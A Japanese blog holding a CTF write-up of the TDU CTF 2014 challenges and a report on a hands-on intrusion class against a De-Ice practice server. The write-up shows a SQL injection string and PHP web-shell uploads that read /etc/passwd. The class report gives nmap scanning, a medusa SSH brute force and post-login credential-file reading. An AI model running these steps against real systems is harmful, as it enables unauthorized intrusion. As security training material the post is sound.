2015年3月31日火曜日

TDU CTF 2014 Satellite in ConoHaへ行ってきました(writeup的な)

2015年03月29日に渋谷で開催された初心者向けCTFのTDU CTFに参加してきました。(CTF後に山梨で予定があったので書くのが遅くなりました。)初心者向けといいながらも上級者が来るんだろうなぁと思っていたら、やっぱり来ました(恐怖)。どこかに集まってやるCTFは今回が初めてだったので問題が解けるか不安でした。CTFには80人弱ほどの方が参加されていました。始めに運営の方々がXSSとかSQLiとかいろんな分野のプレゼンを少しされました。

では、解けた問題について書きます。スコアサーバーには自分の解けた問題や誰が解けたか、問題の点数などが書かれていないので、本当はもっと解いた問題、解けなかった問題があると思いますが、とりあえず思いついただけ。

web
・Easy SQLi Test
何かを検索するフォームがあります。適当に入力してもヒットしません。SQLi苦手なんですが、Easyと書いてあるのでテンプレで
" or 1=1;--
と入力すると全部出てきました。一番最後にフラグが書かれていました。この問題には複数のフラグがあり、flagTableに次のフラグが~みたいなのが書かれていましたが、ここで断念。

・Simple Uploader
ファイルをアップロードできるサイト。これもテンプレでphpをアップロードすると動きました。
<?php phpinfo(); ?>
を送るとphpinfoを見ることが出来、そこにフラグも書かれていました。この問題も複数のフラグがあるということで、
<?php system("cat /etc/passwd"); ?>
を送るとパスワードの中にフラグが。
<?php system("ls"); ?>
するといろいろあったので見てみるとこんな画像ファイルが。モザイクが掛かって見られないのですが、これはフラグなのかな?解けませんでした。もしかしたら誰かがアップロードした妨害用のファイルかもしれません。分かりません。
(追記:03/31/2015)他の方のwriteupを見るとこれと同じような画像ファイルがありました。そちらはモザイクが掛かっていなかったので、別の場所にこのファイルの元画像があったと思われます。

binary
・Trip Picture
ほしい方はダウンロード
何かのストラップの写真があるので、バイナリエディタで見ると最後に
Flag is TDU{LoveLiverInKyoto!}
と書かれていました。私の知識不足でLoveLiverというものが何なのかが全く理解できていません。(アニメ?)

・読めない文字1
base64っぽいのでecho ~|base64 -dでデコード。またbase64っぽいのが出てきたのでもう一回デコード。終わり。

・ASCII Art
ほしい方はダウンロード
zipが渡されるものの開けないのでバイナリエディタでみるとフラグがAAで書かれている。
TDU{HEXEDIT!}

・ string_compare
ほしい方はダウンロード
exeが渡されるので、IDA送り。TDUで検索するとprintfの前に「TDU{%s_is_very_cutie}」とあったので、%sにあたるアドレス[ebp+var114]を探すと「MinamiKotori」と書いていたので
TDU{MinamiKotori_is_very_cutie}
がフラグでした。(´・ω・`)知らんがな

forensic
・ Evidence
ほしい方はダウンロード
運営のnomukenさんが殺されたので、犯人グループの作戦名を掴んでくれ、みたいなフォレンジック問題。私はフォレンジック問題好きなので期待していたのですが、forensicカテゴリの問題は結局最後までこれ1つだけでした。(´・ω・`)
いつもはTSK使ってるのですが、TDU CTFで紹介されていたFTK Imagerというのを使ってみると、削除されたフォルダかな?にpdfが入っていたので開くとフラグがありました。
作戦名:TDU{OIL_SARDINE}


crypt
・我が同胞に告ぐ
単一漢字変換やシーザー暗号などを思わせる文字列があるのですが、すぐにvimだと判明。入力すると
vimisawesome
なのでTDU{vimisawesome}がフラグでした。
私は基本Emacsです。(たまにvimも使いますが)

network
・ 柚子胡椒 Vol.1
ほしい方はダウンロード
pcapが渡されるので見るとフラグが送られていました。
TDU{bLu3T00tHDeTH}
TDU{PiNC0De2}
の2つがあったのですが、どっちがフラグだったか忘れました。


misc
・(タイトル忘れました)
TwitterアカウントのURLがあるので、TwitterIDをフラグにするだけ。

・Mini Quiz#1
何かの文章が問題として書かれています。意味分からなかったのですが、何かの引用かと思い調べてみると「ThinkPad X300が~」とあり、ちょうど穴埋めになっていた所がX300なので
TDU{X300}
でした。

・Mini Quiz#2
[単語]->[数字]の形式が並んでおり意味不明だったので、単語部と数字部を並べて調べるとOS Xのバージョンだと判明。Leopardとやらについて聞かれていたので、小数点を抜いて
TDU{105}
でした。




ここから先は解けなかった問題たち。
・unknown file
ほしい方はダウンロード。 
ファイル内が全部0x20で埋まっており意味不明。ファイル名に意味がありそうでしたが分かりませんでした。他の方のwriteup見るとTDUで検索したら出てきたとあるので、運営サイトのネットワークの問題?始めはおかしいと思い何回もダウンロードし直したんですけど、よく分かりません。

・Developper! Developper! Developper!
ほしい方はダウンロード
zipファイルはパスワードかかっているのですが、ヒントに「無圧縮」とあったので調べるも解けませんでした。pkcrackというソフトで中のファイルと手持ちのファイルを平文攻撃することでパスワードが分かるとか。とても参考になりました。

・Omikuji
ほしい方はダウンロード
おみくじができる実行ファイル。 TEMPに何か作ってるのは分かったのですが、どうやらネットワークで通信しているようです。

・(タイトル忘れました。string encoderだったかな)
ほしい方はダウンロード
IDAで見るとメモリ上にフラグが見つかりそうな予感だったので起動しようと思ったのですが起動できませんでした。VC++2013再頒布入れたのに起動しませんでした。隣の方も起動できずに悩んでいる様子でした。次からはgccでstaticするか、VC++は知りませんが、必要なライブラリは全部埋め込んでほしいです。あと要望といえば、スコアサーバーでフラグ入力しても何も起こらないことが多々ありました。Javaだからかな。

・(タイトル忘れました。Phoneなんたらだったかな)
ほしい方はダウンロード
まったく分からず。

・かっこいいフラグたち
なんと表示されているフラグを入力するだけでptがもらえるというかっこいいフラグがありました。入力する文字によって、-5000ptから-200ptくらいまで、かっこいい点数を獲得できます。かなり上級者向けの問題だったので解けませんでした。



他にもたくさん問題はありましたし、特にweb系では見つかっていないフラグがたくさんあると思います。
結果920ptを獲得して順位は20位でした(´・ω・`)初めて参加したにしては良い方かな・・・それに上級者多かったし・・・。まぁ次は10位くらいにはなれるように頑張りたいです。

とにかく、CTFってこんな感じなんだなぁ、というのが分かりました。問題を解くだけでなく、一体どこから拾ってきたんだというくらいの膨大な量の妨害用のBGM・動画が常に流れる会場も、貴重な経験になりました。

参加者・運営の皆さんお疲れ様、ありがとうございました。

2015年3月1日日曜日

セキュリティ体験講座 - ハッカーになってみよう、やってみよう -

02月28日に、兵庫県立大学大学院で開かれたセキュリティ体験講座の中の1つ、ザッカーリ・マシスさんの「ハッカーになってみよう、やってみよう」に参加しました。

前半はハッキングとは何か、過去から今までにどのようなハッカーがいたか、その目的はなにか、どのように攻撃するか、など幅広く説明して頂きました。短い時間の中で、さまざまな攻撃方法が説明されました。特に今回は一般向けなので、分かりやすかったです。
宿題(?)も出されました。
・ ・ ・
・ ・ ・
・ ・ ・
この9つの点を直線で一筆書きで結んだとき、4本や3本の線で結ぶ書き方はあるだろうか、というものです。答えは説明されませんでしたが、何が言いたいかと、その答えもたぶん分かりました。

後半は実際にコンピュータへ侵入する演習でした。ゲストのKali LinuxからゲストのDe-Iceサーバーへ侵入します。一般向けなのでCTFなどとは違い、一応簡単な説明を受けながら行いました。とはいえ、どのようなツールを使うべきか、などから自分で探していきます。(3人で2台のパソコン)
ということで、覚えている限りで、どのように侵入したかを書いておきます。
まずnetdiscoverで攻撃先のIPアドレスを特定します。
 netdiscover -i eth0
そしたら、定番のnmapで開いているポートを調べます。あとOSの種類も調べたいので-A指定もしておきました。(IPは192.168.1.100でした)
 nmap -Pn -A -p 0-65535 192.168.1.100 
そうすると、http, sshなど複数のポートが開いており、Linuxやカーネルのバージョンまで調べることができました。
ここで、metasploitのsearch及びsearchploitを使って、使用されているサービスの脆弱性情報を調べます。
(例)
 msfconsole 
 msf>searchploit openssh 
今回は脆弱性のあるサービスはなく、ただ侵入したいだけなのでDoSで落とすことなどは考えませんでした。
使われているサービスはたくさんありましたが、特に問題のあるバージョンのものや、脆弱性は見つかりませんでした。
そこで、hydra及びmedusaを使って総当り攻撃をすることにします。
まず、ユーザー名とパスワードのリストを作らなければなりません。攻撃先のホームページ(今回は192.168.1.100)を見ると、いわゆる社員情報的にメールアドレスがたくさん書かれていました。adamsa@~~~とか十人くらいの名前があったので、これがユーザー名ではないかと思いリスト化。パスワードリストは用意してくれてたのですが、展開すら面倒だったのでKali付属のnmap.lstを使いました。ここでhydraを使用しましたが、なかなか成功する気配がありませんでした。
そこでマシスさんから2つヒント(?)が与えられました。
adamsaやpatrickpなどに対し、ユーザー名はaadamsやppatrickなども考えられるよね、ということ。それと、こちらは時間の問題もあって答えにグッと近づけるものなのですが、ユーザー名とパスワードが同じだよということ。
ということで、ユーザーリストにaadamsなどいろいろ追加し、medusaでsshに仕掛けてみます。
 medusa -U users -e ns -h 192.168.1.100 -M ssh | grep SUCCESS 
すると見事にhoge(ユーザー名忘れたのでここからhogeにします。)が当たりました。
早速sshで接続
 ssh hoge@192.168.1.100 
 hoge' password : hoge 
 [hoge@192.168.1.100]$ 
はい入れました。
早速/etc/passwdや/etc/groupを取っていったのですが、ここで問題発生。/etc/shadowが取れない、つまりルート権限ではなかったのです。私はこれ以上進むことはできませんでしたが、非常に面白かったです。前でマシスさんがadams(root権限)で入ってて、いつの間にっ、という感じでした。
あと、ここまでには書きませんでしたが、ツールを使ったら、wiresharkでどんな通信が行われているかを確かめるなど、具体的な動作も確かめることができたので良かったです。

今回はサーバーへ侵入するという設定で行い、演習に来ていた他の方々も、甘いセキュリティに侵入することがいかに簡単かということを強く実感されたそうです。私は家で自分でセットした環境でしか侵入をしたことがないので、実際にホワイトハッカーの方の経験などを教えてもらい、侵入のコツをつかめたような気がします。大変有意義な講義、演習でした。
またこのような講義、演習があれば是非参加したいです。